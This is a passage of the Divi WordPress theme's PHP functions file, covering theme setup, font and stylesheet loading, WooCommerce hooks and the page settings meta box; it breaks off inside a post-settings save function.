<?php


if ( ! isset( $content_width ) ) $content_width = 1080;

function et_setup_theme() {
	global $themename, $shortname, $et_store_options_in_one_row, $default_colorscheme;
	$themename = 'Divi';
	$shortname = 'divi';
	$et_store_options_in_one_row = true;

	$default_colorscheme = "Default";

	$template_directory = get_template_directory();

	require_once $template_directory . '/core/init.php';
	require_once $template_directory . '/common/init.php';

	et_common_setup();
	et_core_setup( get_template_directory_uri() );

	if ( '3.0.61' === ET_CORE_VERSION ) {
		require_once $template_directory . '/core/functions.php';
		require_once $template_directory . '/core/components/init.php';
		et_core_patch_core_3061();
	}

	require_once $template_directory . '/epanel/custom_functions.php';
	require_once $template_directory . '/epanel/theme-options-library/theme-options.php';
	require_once $template_directory . '/core/code-snippets/code-snippets.php';

	require_once $template_directory . '/includes/functions/choices.php';

	require_once $template_directory . '/includes/functions/dynamic-assets.php';

	require_once $template_directory . '/includes/functions/sanitization.php';

	require_once $template_directory . '/includes/functions/sidebars.php';

	load_theme_textdomain( 'Divi', $template_directory . '/lang' );

	require_once $template_directory . '/epanel/core_functions.php';

	require_once $template_directory . '/post_thumbnails_divi.php';

	include_once $template_directory . '/includes/widgets.php';

	register_nav_menus( array(
		'primary-menu'   => esc_html__( 'Primary Menu', 'Divi' ),
		'secondary-menu' => esc_html__( 'Secondary Menu', 'Divi' ),
		'footer-menu'    => esc_html__( 'Footer Menu', 'Divi' ),
	) );

	// don't display the empty title bar if the widget title is not set
	remove_filter( 'widget_title', 'et_widget_force_title' );

	remove_filter( 'body_class', 'et_add_fullwidth_body_class' );

	// Declare theme supports
	add_theme_support( 'title-tag' );

	add_theme_support( 'post-formats', array(
		'video', 'audio', 'quote', 'gallery', 'link'
	) );

	add_theme_support( 'woocommerce' );
	add_theme_support( 'wc-product-gallery-zoom' );
	add_theme_support( 'wc-product-gallery-lightbox' );
	add_theme_support( 'wc-product-gallery-slider' );

	add_theme_support( 'customize-selective-refresh-widgets' );

	// Block editor supports.
	add_theme_support( 'wp-block-styles' );

	remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 );

	remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10 );
	add_action( 'woocommerce_before_main_content', 'et_divi_output_content_wrapper', 10 );
	add_action( 'eventon_before_main_content', 'et_divi_output_content_wrapper', 11 );

	remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10 );
	add_action( 'woocommerce_after_main_content', 'et_divi_output_content_wrapper_end', 10 );
	add_action( 'eventon_after_main_content', 'et_divi_output_content_wrapper_end', 9 );

	remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );

	// add wrapper so we can clear things
	add_action( 'woocommerce_before_single_product_summary', 'et_divi_output_product_wrapper', 0  );
	add_action( 'woocommerce_after_single_product_summary', 'et_divi_output_product_wrapper_end', 0  );

	// deactivate page templates and custom import functions
	remove_action( 'init', 'et_activate_features' );

	remove_action('admin_menu', 'et_add_epanel');

	// Load editor styling
	add_editor_style( 'css/editor-style.css' );
	add_editor_style( 'css/editor-blocks.css' );

	et_divi_version_rollback()->enable();

	if ( wp_doing_cron() ) {
		et_register_updates_component();
	}

	// Remove WordPress emojis
	add_action( 'init', 'et_disable_emojis' );

	// Defer Gutenberg block stylesheet to the footer.
	add_action( 'wp_enqueue_scripts', 'et_dequeue_block_css', 100 );
	add_action( 'get_footer', 'et_enqueue_block_css', 100 );
}
add_action( 'after_setup_theme', 'et_setup_theme' );

add_action( 'et_do_legacy_shortcode', 'et_add_legacy_shortcode_css' );

add_action( 'et_do_legacy_shortcode', 'et_add_legacy_shortcode_js' );

/**
 * Load un-minified and un-combined scripts.
 *
 * @param string $load check if loading unminified scripts.
 * @return string
 * @deprecated ??
 */
function et_divi_load_unminified_scripts( $load ) {
	/** @see ET_Core_SupportCenter::toggle_safe_mode */
	if ( et_core_is_safe_mode_active() ) {
		return true;
	}

	if ( 'false' === et_get_option( 'divi_minify_combine_scripts' ) ) {
		return true;
	}

	return $load;
}

/**
 * Load un-minified and un-combined styles.
 *
 * @param string $load check if loading unminified styles.
 * @return string
 * @deprecated ??
 */
function et_divi_load_unminified_styles( $load ) {
	/** @see ET_Core_SupportCenter::toggle_safe_mode */
	if ( et_core_is_safe_mode_active() ) {
		return true;
	}

	if ( 'false' === et_get_option( 'divi_minify_combine_styles' ) ) {
		return true;
	}

	return $load;
}

function et_theme_epanel_reminder(){
	global $shortname, $themename;

	$documentation_url         = 'http://www.elegantthemes.com/gallery/divi/readme.html';
	$documentation_option_name = $shortname . '_2_4_documentation_message';

	if ( false === et_get_option( $shortname . '_logo' ) && false === et_get_option( $documentation_option_name ) ) {
		$message = sprintf(
			et_get_safe_localization( __( 'Welcome to Divi! Before diving in to your new theme, please visit the <a style="color: #fff; font-weight: bold;" href="%1$s" target="_blank">Divi Documentation</a> page for access to dozens of in-depth tutorials.', $themename ) ),
			esc_url( $documentation_url )
		);

		printf(
			'<div class="notice is-dismissible" style="background-color: #6C2EB9; color: #fff; border-left: none;">
				<p>%1$s</p>
			</div>',
			$message
		);

		et_update_option( $documentation_option_name, 'triggered' );
	}
}
add_action( 'admin_notices', 'et_theme_epanel_reminder' );

if ( ! function_exists( 'et_divi_fonts_url' ) ) :
	/**
	 * Print Google fonts style for Divi Theme base fonts.
	 */
	function et_divi_fonts_url() {
		if ( ! et_core_use_google_fonts() ) {
			return '';
		}

		$fonts_url = '';

		/**
		 * Translators: If there are characters in your language that are not
		 * supported by Open Sans, translate this to 'off'. Do not translate
		 * into your own language.
		 */
		$open_sans = _x( 'on', 'Open Sans font: on or off', 'Divi' );

		if ( 'off' !== $open_sans ) {
			$font_families = array();

			if ( 'off' !== $open_sans ) {
				$font_families[] = 'Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800';
			}

			$fonts              = et_builder_get_fonts();
			$full_character_set = ! empty( $fonts['Open Sans'] ) && ! empty( $fonts['Open Sans']['character_set'] ) ? $fonts['Open Sans']['character_set'] : 'cyrillic,cyrillic-ext,greek,greek-ext,latin,latin-ext,vietnamese';

			// By default, only latin and latin-ext subsets are loaded, all available subsets can be enabled in ePanel.
			$subset = 'false' === et_get_option( 'divi_gf_enable_all_character_sets', 'false' )
				? 'latin,latin-ext'
				: $full_character_set;

			$query_args = array(
				'family'  => implode( '%7C', $font_families ),
				'subset'  => $subset,
				'display' => 'swap',
			);

			$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
		}

		return $fonts_url;
	}
endif;

function et_divi_load_fonts() {
	$google_fonts_url = et_divi_fonts_url();

	// Get user selected font defined on customizer
	$et_gf_body_font = sanitize_text_field( et_get_option( 'body_font', 'none' ) );

	$is_et_fb_enabled = function_exists( 'et_fb_enabled' ) && et_fb_enabled();

	// Determine whether current page needs Open Sans or not
	$no_open_sans = ! is_customize_preview() && 'none' !== $et_gf_body_font && '' !== $et_gf_body_font && ! $is_et_fb_enabled;

	if ( ! empty( $google_fonts_url ) && ! $no_open_sans ) {
		$feature_manager = ET_Builder_Google_Fonts_Feature::instance();
		$output_inline   = $feature_manager->is_option_enabled( 'google_fonts_inline' );

		if ( $output_inline ) {
			$contents = $feature_manager->get(
				'google-fonts',
				function() use ( $feature_manager, $google_fonts_url ) {
					return $feature_manager->fetch( $google_fonts_url );
				},
				sanitize_text_field( et_core_esc_previously( $google_fonts_url ) )
			);

			// if something went wrong fetching the contents
			if ( false === $contents ) {
				// phpcs:ignore WordPress.WP.EnqueuedResourceParameters --  Google fonts api does not have versions
				wp_enqueue_style( 'et-divi-open-sans', et_core_esc_previously( $google_fonts_url ), array(), null );
			} else {
				echo '<style id="et-divi-open-sans-inline-css">' . $contents . '</style>';
			}
		} else {
			// phpcs:ignore WordPress.WP.EnqueuedResourceParameters -- Google fonts api does not have versions.
			wp_enqueue_style( 'et-divi-open-sans', et_core_esc_previously( $google_fonts_url ), array(), null );
		}
	}
}
add_action( 'wp_enqueue_scripts', 'et_divi_load_fonts' );

function et_add_home_link( $args ) {
	// add Home link to the custom menu WP-Admin page
	$args['show_home'] = true;
	return $args;
}
add_filter( 'wp_page_menu_args', 'et_add_home_link' );

function et_divi_load_scripts_styles(){
	global $wp_styles, $et_user_fonts_queue;

	// $dynamic_js_suffix  = et_use_dynamic_js() ? '' : '-static'; // @temp-disabled-dynamic-assets-js
	$template_dir           = get_template_directory_uri();
	$theme_version          = et_get_theme_version();
	$post_id                = get_the_id();
	$is_page_builder_used   = et_pb_is_pagebuilder_used( $post_id );
	$page_comments_disabled = et_get_option( 'divi_show_pagescomments', 'off' );
	$post_with_comments     = is_single() && comments_open() && get_option( 'thread_comments' );
	$page_width_comments    = is_page() && ! $is_page_builder_used && comments_open() && get_option( 'thread_comments' ) && $page_comments_disabled === 'on';

	if ( $post_with_comments || $page_width_comments ) {
		wp_enqueue_script( 'comment-reply' );
	}

	if ( is_singular() && has_post_format( 'audio' ) ) {
		wp_enqueue_style( 'wp-mediaelement' );
		wp_enqueue_script( 'wp-mediaelement' );
	}

	$dependencies_array = array( 'jquery' );

	// load 'jquery-effects-core' if SlideIn/Fullscreen header used or if customizer opened
	if ( is_customize_preview() || 'slide' === et_get_option( 'header_style', 'left' ) || 'fullscreen' === et_get_option( 'header_style', 'left' ) ) {
		$dependencies_array[] = 'jquery-effects-core';
	}

	wp_enqueue_script( 'divi-custom-script', $template_dir . '/js/scripts.min.js', $dependencies_array, $theme_version, true );

	$divi_data = array(
		'item_count'  => esc_html__( '%d Item', 'divi' ),
		'items_count' => esc_html__( '%d Items', 'divi' ),
	);

	if ( et_core_is_fb_enabled() ) {
		$divi_data['row_selector'] = et_divi_get_row_advanced_options_selector_replacement();
	}

	wp_localize_script( 'divi-custom-script', 'DIVI', $divi_data );

	$et_gf_enqueue_fonts = array();
	$et_gf_heading_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'heading_font', 'none' ) ) );
	$et_gf_body_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'body_font', 'none' ) ) );
	$et_gf_button_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'all_buttons_font', 'none' ) ) );
	$et_gf_primary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'primary_nav_font', 'none' ) ) );
	$et_gf_secondary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'secondary_nav_font', 'none' ) ) );
	$et_gf_slide_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'slide_nav_font', 'none' ) ) );

	if ( 'none' != $et_gf_heading_font ) $et_gf_enqueue_fonts[] = $et_gf_heading_font;
	if ( 'none' != $et_gf_body_font ) $et_gf_enqueue_fonts[] = $et_gf_body_font;
	if ( 'none' != $et_gf_button_font ) $et_gf_enqueue_fonts[] = $et_gf_button_font;
	if ( 'none' != $et_gf_primary_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_primary_nav_font;
	if ( 'none' != $et_gf_secondary_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_secondary_nav_font;
	if ( 'none' != $et_gf_slide_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_slide_nav_font;

	if ( ! empty( $et_gf_enqueue_fonts ) && function_exists( 'et_builder_enqueue_font' ) ) {
		$site_domain               = get_locale();
		$et_old_one_font_languages = et_get_old_one_font_languages();

		foreach ( $et_gf_enqueue_fonts as $single_font ) {
			if ( isset( $et_old_one_font_languages[$site_domain] ) ) {
				$font_custom_default_data = $et_old_one_font_languages[$site_domain];

				// enqueue custom default font if needed
				if ( $single_font === $font_custom_default_data['font_family'] ) {
					$et_gf_font_name_slug = strtolower( str_replace( ' ', '-', $font_custom_default_data['language_name'] ) );
					wp_enqueue_style( 'et-gf-' . $et_gf_font_name_slug, $font_custom_default_data['google_font_url'], array(), null );
					continue;
				}
			}

			et_builder_enqueue_font( $single_font );
		}

		if ( function_exists( 'et_builder_enqueue_user_fonts' ) && ! empty( $et_user_fonts_queue ) ) {
			printf( '<style id="et-divi-userfonts">%1$s</style>', et_core_esc_previously( et_builder_enqueue_user_fonts( $et_user_fonts_queue ) ) );
		}
	}
}
add_action( 'wp_enqueue_scripts', 'et_divi_load_scripts_styles' );

/**
 * Enqueue the main style.css file.
 * If a child theme is active and the child theme has not enqueued
 * the Divi stylsheet, enqueue it for them. Otherwise -rtl, -cpt and -static
 * stylesheet versions will never be enqueued properly. Some child themes
 * import the Divi style.css file in their child theme .css file, which won't work.
 */
function et_divi_enqueue_stylesheet() {
	$theme_version = et_get_theme_version();
	$styles        = wp_styles();

	// Filter the $styles array and determine if the Divi stylesheet is enqueued.
	$divi_style_enqueued = ! empty(
		array_filter(
			$styles->registered,
			function( $style ) {
				$template_directory_uri = preg_quote( get_template_directory_uri(), '/' );

				return preg_match( '/' . $template_directory_uri . '\/style.*\.css/', $style->src );
			}
		)
	);

	if ( ! is_child_theme() ) {
		// If no child theme is active, we enqueue the Divi style.css located in the template dir.
		wp_enqueue_style( 'divi-style', get_template_directory_uri() . '/style.css', array(), $theme_version );
	} elseif ( $divi_style_enqueued ) {
		// If a child theme is used and the child theme already enqueued the Divi style.css in their functions.php,
		// then we enqueue the child theme style.css file via the stylesheet dir.
		wp_enqueue_style( 'divi-style', get_stylesheet_directory_uri() . '/style.css', array(), $theme_version );
	} else {
		// If a child theme is used and they do not enqueue the Divi style.css file,
		// we need to enqueue it for them before their child theme style.css file.
		wp_enqueue_style( 'divi-style-parent', get_template_directory_uri() . '/style.css', array(), $theme_version );
		wp_enqueue_style( 'divi-style', get_stylesheet_directory_uri() . '/style.css', array(), $theme_version );
	}
}
add_action( 'wp_enqueue_scripts', 'et_divi_enqueue_stylesheet' );

/**
 * Replace the enqueued Divi style.css file with the applicable version.
 * If Dynamic CSS is disabled, we load the -static file. If RTL is enabled, we load the -rtl file.
 * If on a custom post type, we load the -cpt file. This is also necessary for child themes,
 * which typically enqueue the standard style.css without the logic below.
 */
function et_divi_replace_parent_stylesheet() {
	$theme_version          = et_get_theme_version();
	$post_id                = get_the_ID();
	$cpt_suffix             = et_builder_should_wrap_styles() ? '-cpt' : '';
	$dynamic_css_suffix     = et_use_dynamic_css() ? '' : '-static';
	$rtl_suffix             = is_rtl() ? '-rtl' : '';
	$template_directory_uri = preg_quote( get_template_directory_uri(), '/' );
	$style_handle           = is_child_theme() ? 'divi-style-parent' : 'divi-style';

	// We check for .dev in case child themes enqueued this legacy stylesheet.
	$theme_style          = '/^(' . $template_directory_uri . '\/style)(\.dev)?(\.min)?(\.css)$/';
	$theme_style_replaced = '$1' . $dynamic_css_suffix . $cpt_suffix  . $rtl_suffix  . '.min.css';

	et_core_replace_enqueued_style( $theme_style, $theme_style_replaced, $theme_version, $style_handle, '', true );

}
add_action( 'wp_enqueue_scripts', 'et_divi_replace_parent_stylesheet', 99999998 );

/**
 * If Load Dynamic Stylesheet In-line is enabled in the Divi Theme Options,
 * we print stylesheet contents in-line. We must grab the correct base stylesheet
 * depending on RTl and CPT.
 */
function et_divi_print_stylesheet() {
	$enable_inline_stylesheet = et_get_option( 'divi_inline_stylesheet', 'on' );

	if ( 'on' === $enable_inline_stylesheet && et_use_dynamic_css() ) {
		$post_id                      = get_the_ID();
		$cpt_suffix                   = et_builder_should_wrap_styles() ? '-cpt' : '';
		$rtl_suffix                   = is_rtl() ? '-rtl' : '';
		$stylesheet_src               = get_template_directory_uri() . '/style' . $cpt_suffix . $rtl_suffix . '.min.css';
		$stylesheet_path              = get_template_directory() . '/style' . $cpt_suffix . $rtl_suffix . '.min.css';
		$stylesheet_path              = str_replace( '..', '', $stylesheet_path );
		$stylesheet_contents          = file_get_contents( $stylesheet_path );
		$theme_version                = et_get_theme_version();
		$url_match                    = '/url\(/i';
		$url_replace                  = 'url(' . get_template_directory_uri() . '/';
		$stylesheet_contents_replaced = preg_replace( $url_match, $url_replace, $stylesheet_contents );
		$child_theme_suffix           = is_child_theme() ? '-parent' : '';
		$styles                       = wp_styles();

		foreach ( $styles->registered as $handle => $style ) {
			if ( $style->src === $stylesheet_src ) {
				$existing_inline_styles = $styles->get_data( $handle, 'after' );
				break;
			}
		}

		if ( false !== $stylesheet_contents ) {
			wp_register_style( 'divi-style' . $child_theme_suffix . '-inline', false, array(), $theme_version );
			wp_enqueue_style( 'divi-style' . $child_theme_suffix . '-inline' );
			wp_add_inline_style( 'divi-style' . $child_theme_suffix . '-inline', $stylesheet_contents_replaced );

			if ( ! empty( $existing_inline_styles ) ) {
				wp_add_inline_style( 'divi-style' . $child_theme_suffix . '-inline', implode( "\n", $existing_inline_styles ) );
			}

			add_action( 'wp_enqueue_scripts', 'et_divi_dequeue_stylesheet', 99999999 );
		}
	}
}
add_action( 'wp_enqueue_scripts', 'et_divi_print_stylesheet', 99999998 );

/**
 * If Load Dynamic Stylesheet In-line is enabled, we need to dequeue the Divi stylesheet,
 * since it's now being enqueued in-line.
 */
function et_divi_dequeue_stylesheet() {
	$post_id    = get_the_ID();
	$cpt_suffix = et_builder_should_wrap_styles() ? '-cpt' : '';
	$rtl_suffix = is_rtl() ? '-rtl' : '';
	$styles     = wp_styles();
	$stylesheet = get_template_directory_uri() . '/style' . $cpt_suffix . $rtl_suffix . '.min.css';

	if ( empty( $styles->registered ) ) {
		return;
	}

	foreach ( $styles->registered as $handle => $style ) {
		if ( $style->src === $stylesheet ) {
			wp_dequeue_style( $handle );
			break;
		}
	}
}

/**
 * All Child Theme .css files must be dequeued and re-queued so that we can control their order.
 * They must be queued below the parent stylesheet, which we have dequeued and re-queued in et_divi_replace_parent_stylesheet().
 */
add_action( 'wp_enqueue_scripts', 'et_requeue_child_theme_styles', 99999999 );

/**
 * Enqueue smoothscroll if it's enabled.
 */
function et_enqueue_smoothscroll() {
	$theme_version = et_get_theme_version();

	if ( 'on' === et_get_option( 'divi_smooth_scroll', 'off' ) ) {
		wp_enqueue_script( 'smoothscroll', get_template_directory_uri() . '/js/smoothscroll.js', array(), $theme_version, true );
	}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_smoothscroll' );

/**
 * Enqueue magnific popup when needed.
 *
 * @since ??
 */
function et_enqueue_magnific_popup() {
	$theme_version = et_get_theme_version();

	if ( 'on' === et_get_option( 'divi_gallery_layout_enable', 'off' ) && ( is_active_widget( false, false, 'media_gallery', true ) || et_is_active_block_widget( 'core/gallery' ) ) ) {
		wp_enqueue_script( 'magnific-popup', get_template_directory_uri() . '/includes/builder/feature/dynamic-assets/assets/js/magnific-popup.js', array( 'jquery' ), $theme_version, true );
	}
}
add_action( 'wp_enqueue_scripts', 'et_enqueue_magnific_popup' );

function et_add_mobile_navigation(){
	if ( is_customize_preview() || ( 'slide' !== et_get_option( 'header_style', 'left' ) && 'fullscreen' !== et_get_option( 'header_style', 'left' ) ) ) {
		printf(
			'<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">%1$s</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>',
			esc_html__( 'Select Page', 'Divi' )
		);
	}
}
add_action( 'et_header_top', 'et_add_mobile_navigation' );

function et_add_viewport_meta(){
	echo '<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />';
}
add_action( 'wp_head', 'et_add_viewport_meta' );

function et_remove_additional_stylesheet( $stylesheet ){
	global $default_colorscheme;
	return $default_colorscheme;
}
add_filter( 'et_get_additional_color_scheme', 'et_remove_additional_stylesheet' );

if ( ! function_exists( 'et_list_pings' ) ) :
function et_list_pings($comment, $args, $depth) {
	$GLOBALS['comment'] = $comment; ?>
	<li id="comment-<?php comment_ID(); ?>"><?php comment_author_link(); ?> - <?php comment_excerpt(); ?>
<?php }
endif;

if ( ! function_exists( 'et_get_theme_version' ) ) :
function et_get_theme_version() {
	$theme_info = wp_get_theme();

	if ( is_child_theme() ) {
		$theme_info = wp_get_theme( $theme_info->parent_theme );
	}

	$theme_version = $theme_info->display( 'Version' );

	return $theme_version;
}
endif;

function et_add_post_meta_box( $post_type, $post ) {
	$allowed = et_pb_is_allowed( 'page_options' );
	$enabled = $post ? et_builder_enabled_for_post( $post->ID ) : et_builder_enabled_for_post_type( $post_type );
	$enabled = in_array( $post_type, et_builder_get_default_post_types() ) ? true : $enabled;
	$public  = et_builder_is_post_type_public( $post_type );

	if ( $allowed && $enabled && $public ) {
		add_meta_box( 'et_settings_meta_box', esc_html__( 'Divi Page Settings', 'Divi' ), 'et_single_settings_meta_box', $post_type, 'side', 'high' );
	}
}
add_action( 'add_meta_boxes', 'et_add_post_meta_box', 10, 2 );

if ( ! function_exists( 'et_pb_portfolio_meta_box' ) ) :
function et_pb_portfolio_meta_box() { ?>
	<div class="et_project_meta">
		<strong class="et_project_meta_title"><?php echo esc_html__( 'Skills', 'Divi' ); ?></strong>
		<p><?php echo get_the_term_list( get_the_ID(), 'project_tag', '', ', ' ); ?></p>

		<strong class="et_project_meta_title"><?php echo esc_html__( 'Posted on', 'Divi' ); ?></strong>
		<p><?php echo get_the_date(); ?></p>
	</div>
<?php }
endif;

if ( ! function_exists( 'et_single_settings_meta_box' ) ) :
function et_single_settings_meta_box( $post ) {
	$post_id = get_the_ID();

	wp_nonce_field( basename( __FILE__ ), 'et_settings_nonce' );

	$page_layout = get_post_meta( $post_id, '_et_pb_page_layout', true );

	if ( 'product' === $post->post_type && empty( $page_layout ) ) {
		$page_layout = et_get_option( 'et_pb_woocommerce_product_layout' );
	}

	$side_nav = get_post_meta( $post_id, '_et_pb_side_nav', true );

	$project_nav = get_post_meta( $post_id, '_et_pb_project_nav', true );

	$post_hide_nav = get_post_meta( $post_id, '_et_pb_post_hide_nav', true );
	$post_hide_nav = $post_hide_nav && 'off' === $post_hide_nav ? 'default' : $post_hide_nav;

	$show_title = get_post_meta( $post_id, '_et_pb_show_title', true );

	$is_builder_active = 'on' === get_post_meta( $post_id, '_et_pb_use_builder', true );

	if ( is_rtl() ) {
		$page_layouts = array(
			'et_left_sidebar'    => esc_html__( 'Left Sidebar', 'Divi' ),
			'et_right_sidebar'   => esc_html__( 'Right Sidebar', 'Divi' ),
			'et_no_sidebar'      => esc_html__( 'No Sidebar', 'Divi' ),
		);
	} else {
		$page_layouts = array(
			'et_right_sidebar'   => esc_html__( 'Right Sidebar', 'Divi' ),
			'et_left_sidebar'    => esc_html__( 'Left Sidebar', 'Divi' ),
			'et_no_sidebar'      => esc_html__( 'No Sidebar', 'Divi' ),
		);
	}

	// Fullwidth option available for default post types only. Not available for custom post types.
	if ( ! et_builder_is_post_type_custom( $post->post_type ) || 'product' === $post->post_type && $is_builder_active ) {
		$page_layouts['et_full_width_page'] = esc_html__( 'Fullwidth', 'Divi' );
	}

	if ( 'et_full_width_page' === $page_layout && ( ! isset( $page_layouts['et_full_width_page'] ) || ! $is_builder_active ) ) {
		$page_layout = 'et_no_sidebar';
	}

	$layouts = array(
		'light' => esc_html__( 'Light', 'Divi' ),
		'dark'  => esc_html__( 'Dark', 'Divi' ),
	);
	$post_bg_color  = ( $bg_color = get_post_meta( $post_id, '_et_post_bg_color', true ) ) && '' !== $bg_color
		? $bg_color
		: '#ffffff';
	$post_use_bg_color = get_post_meta( $post_id, '_et_post_use_bg_color', true )
		? true
		: false;
	$post_bg_layout = ( $layout = get_post_meta( $post_id, '_et_post_bg_layout', true ) ) && '' !== $layout
		? $layout
		: 'light';

	$tb_layouts = et_theme_builder_get_template_layouts( ET_Theme_Builder_Request::from_post( $post_id ) );
	$container  = array( 'et_pb_page_settings_container' );

	if ( ! empty( $tb_layouts ) ) {
		$container[] = 'et_pb_page_settings_container--theme-builder';

		if ( ! empty( $tb_layouts ) && $tb_layouts[ ET_THEME_BUILDER_HEADER_LAYOUT_POST_TYPE ]['override'] ) {
			$container[] = 'et_pb_page_settings_container--tb-has-header';
		}

		if ( ! empty( $tb_layouts ) && $tb_layouts[ ET_THEME_BUILDER_BODY_LAYOUT_POST_TYPE ]['override'] ) {
			$container[] = 'et_pb_page_settings_container--tb-has-body';
		}

		if ( ! empty( $tb_layouts ) && $tb_layouts[ ET_THEME_BUILDER_FOOTER_LAYOUT_POST_TYPE ]['override'] ) {
			$container[] = 'et_pb_page_settings_container--tb-has-footer';
		}
	}
	?>

	<div class="<?php echo esc_attr( implode( ' ', $container ) ); ?>">
		<p class="et_pb_page_settings et_pb_page_layout_settings">
			<label for="et_pb_page_layout" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Page Layout', 'Divi' ); ?>: </label>

			<select id="et_pb_page_layout" name="et_pb_page_layout">
			<?php
			foreach ( $page_layouts as $layout_value => $layout_name ) {
				printf( '<option value="%2$s"%3$s%4$s>%1$s</option>',
					esc_html( $layout_name ),
					esc_attr( $layout_value ),
					selected( $layout_value, $page_layout, false ),
					'et_full_width_page' === $layout_value && ! $is_builder_active ? ' style="display: none;"' : ''
				);
			} ?>
			</select>
		</p>
		<p class="et_pb_page_settings et_pb_side_nav_settings" style="display: none;">
			<label for="et_pb_side_nav" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Dot Navigation', 'Divi' ); ?>: </label>

			<select id="et_pb_side_nav" name="et_pb_side_nav">
				<option value="off" <?php selected( 'off', $side_nav ); ?>><?php esc_html_e( 'Off', 'Divi' ); ?></option>
				<option value="on" <?php selected( 'on', $side_nav ); ?>><?php esc_html_e( 'On', 'Divi' ); ?></option>
			</select>
		</p>
		<p class="et_pb_page_settings et_pb_nav_settings">
			<label for="et_pb_post_hide_nav" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Hide Nav Before Scroll', 'Divi' ); ?>: </label>

			<select id="et_pb_post_hide_nav" name="et_pb_post_hide_nav">
				<option value="default" <?php selected( 'default', $post_hide_nav ); ?>><?php esc_html_e( 'Default', 'Divi' ); ?></option>
				<option value="no" <?php selected( 'no', $post_hide_nav ); ?>><?php esc_html_e( 'Off', 'Divi' ); ?></option>
				<option value="on" <?php selected( 'on', $post_hide_nav ); ?>><?php esc_html_e( 'On', 'Divi' ); ?></option>
			</select>
		</p>

	<?php if ( 'post' === $post->post_type ) : ?>
		<p class="et_pb_page_settings et_pb_single_title" style="display: none;">
			<label for="et_single_title" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Post Title', 'Divi' ); ?>: </label>

			<select id="et_single_title" name="et_single_title">
				<option value="on" <?php selected( 'on', $show_title ); ?>><?php esc_html_e( 'Show', 'Divi' ); ?></option>
				<option value="off" <?php selected( 'off', $show_title ); ?>><?php esc_html_e( 'Hide', 'Divi' ); ?></option>
			</select>
		</p>

		<p class="et_divi_quote_settings et_divi_audio_settings et_divi_link_settings et_divi_format_setting et_pb_page_settings">
			<label for="et_post_use_bg_color" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Use Background Color', 'Divi' ); ?></label>
			<input name="et_post_use_bg_color" type="checkbox" id="et_post_use_bg_color" <?php checked( $post_use_bg_color ); ?> />
		</p>

		<p class="et_post_bg_color_setting et_divi_format_setting et_pb_page_settings">
			<input id="et_post_bg_color" name="et_post_bg_color" class="color-picker-hex" type="text" maxlength="7" placeholder="<?php esc_attr_e( 'Hex Value', 'Divi' ); ?>" value="<?php echo esc_attr( $post_bg_color ); ?>" data-default-color="#ffffff" />
		</p>

		<p class="et_divi_quote_settings et_divi_audio_settings et_divi_link_settings et_divi_format_setting">
			<label for="et_post_bg_layout" style="font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Text Color', 'Divi' ); ?>: </label>
			<select id="et_post_bg_layout" name="et_post_bg_layout">
		<?php
			foreach ( $layouts as $layout_name => $layout_title )
				printf( '<option value="%s"%s>%s</option>',
					esc_attr( $layout_name ),
					selected( $layout_name, $post_bg_layout, false ),
					esc_html( $layout_title )
				);
		?>
			</select>
		</p>
	<?php endif;

	if ( 'project' === $post->post_type ) : ?>
		<p class="et_pb_page_settings et_pb_project_nav" style="display: none;">
			<label for="et_project_nav" style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Project Navigation', 'Divi' ); ?>: </label>

			<select id="et_project_nav" name="et_project_nav">
				<option value="off" <?php selected( 'off', $project_nav ); ?>><?php esc_html_e( 'Hide', 'Divi' ); ?></option>
				<option value="on" <?php selected( 'on', $project_nav ); ?>><?php esc_html_e( 'Show', 'Divi' ); ?></option>
			</select>
		</p>
	<?php endif; ?>

	<?php if ( 'product' === $post->post_type && $is_builder_active ) : ?>
		<?php
		$product_page_layouts = et_builder_wc_get_page_layouts( 'Divi' );
		$product_page_layout  = get_post_meta( $post_id, '_et_pb_product_page_layout', true );

		// Get the default set at Builder level when `$product_page_layout` isn't set at single Product page.
		if ( empty( $product_page_layout ) ) {
			$product_page_layout = et_get_option( 'et_pb_woocommerce_page_layout' );
		}
		?>
		<p class="et_pb_product_page_settings et_pb_product_page_layout_settings">
			<label for="et_pb_product_page_layout"
				   style="display: block; font-weight: bold; margin-bottom: 5px;"><?php esc_html_e( 'Product Content', 'Divi' ); ?>
				: </label>

			<select id="et_pb_product_page_layout" name="et_pb_product_page_layout">
				<?php
				foreach ( $product_page_layouts as $layout_value => $layout_name ) {
					printf( '<option value="%2$s"%3$s>%1$s</option>',
						esc_html( $layout_name ),
						esc_attr( $layout_value ),
						selected( $layout_value, $product_page_layout, false )
					);
				}
				?>
			</select>
		</p>
	<?php endif; ?>
	</div>
    <?php
}
endif;

function et_divi_post_settings_save_details( $post_id, $post ) {
	global $pagenow;

	if ( 'post.php' !== $pagenow || ! $post || ! is_object( $post ) ) {
		return;
	}

	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
		return;
	}

	$post_type = get_post_type_object( $post->post_type );
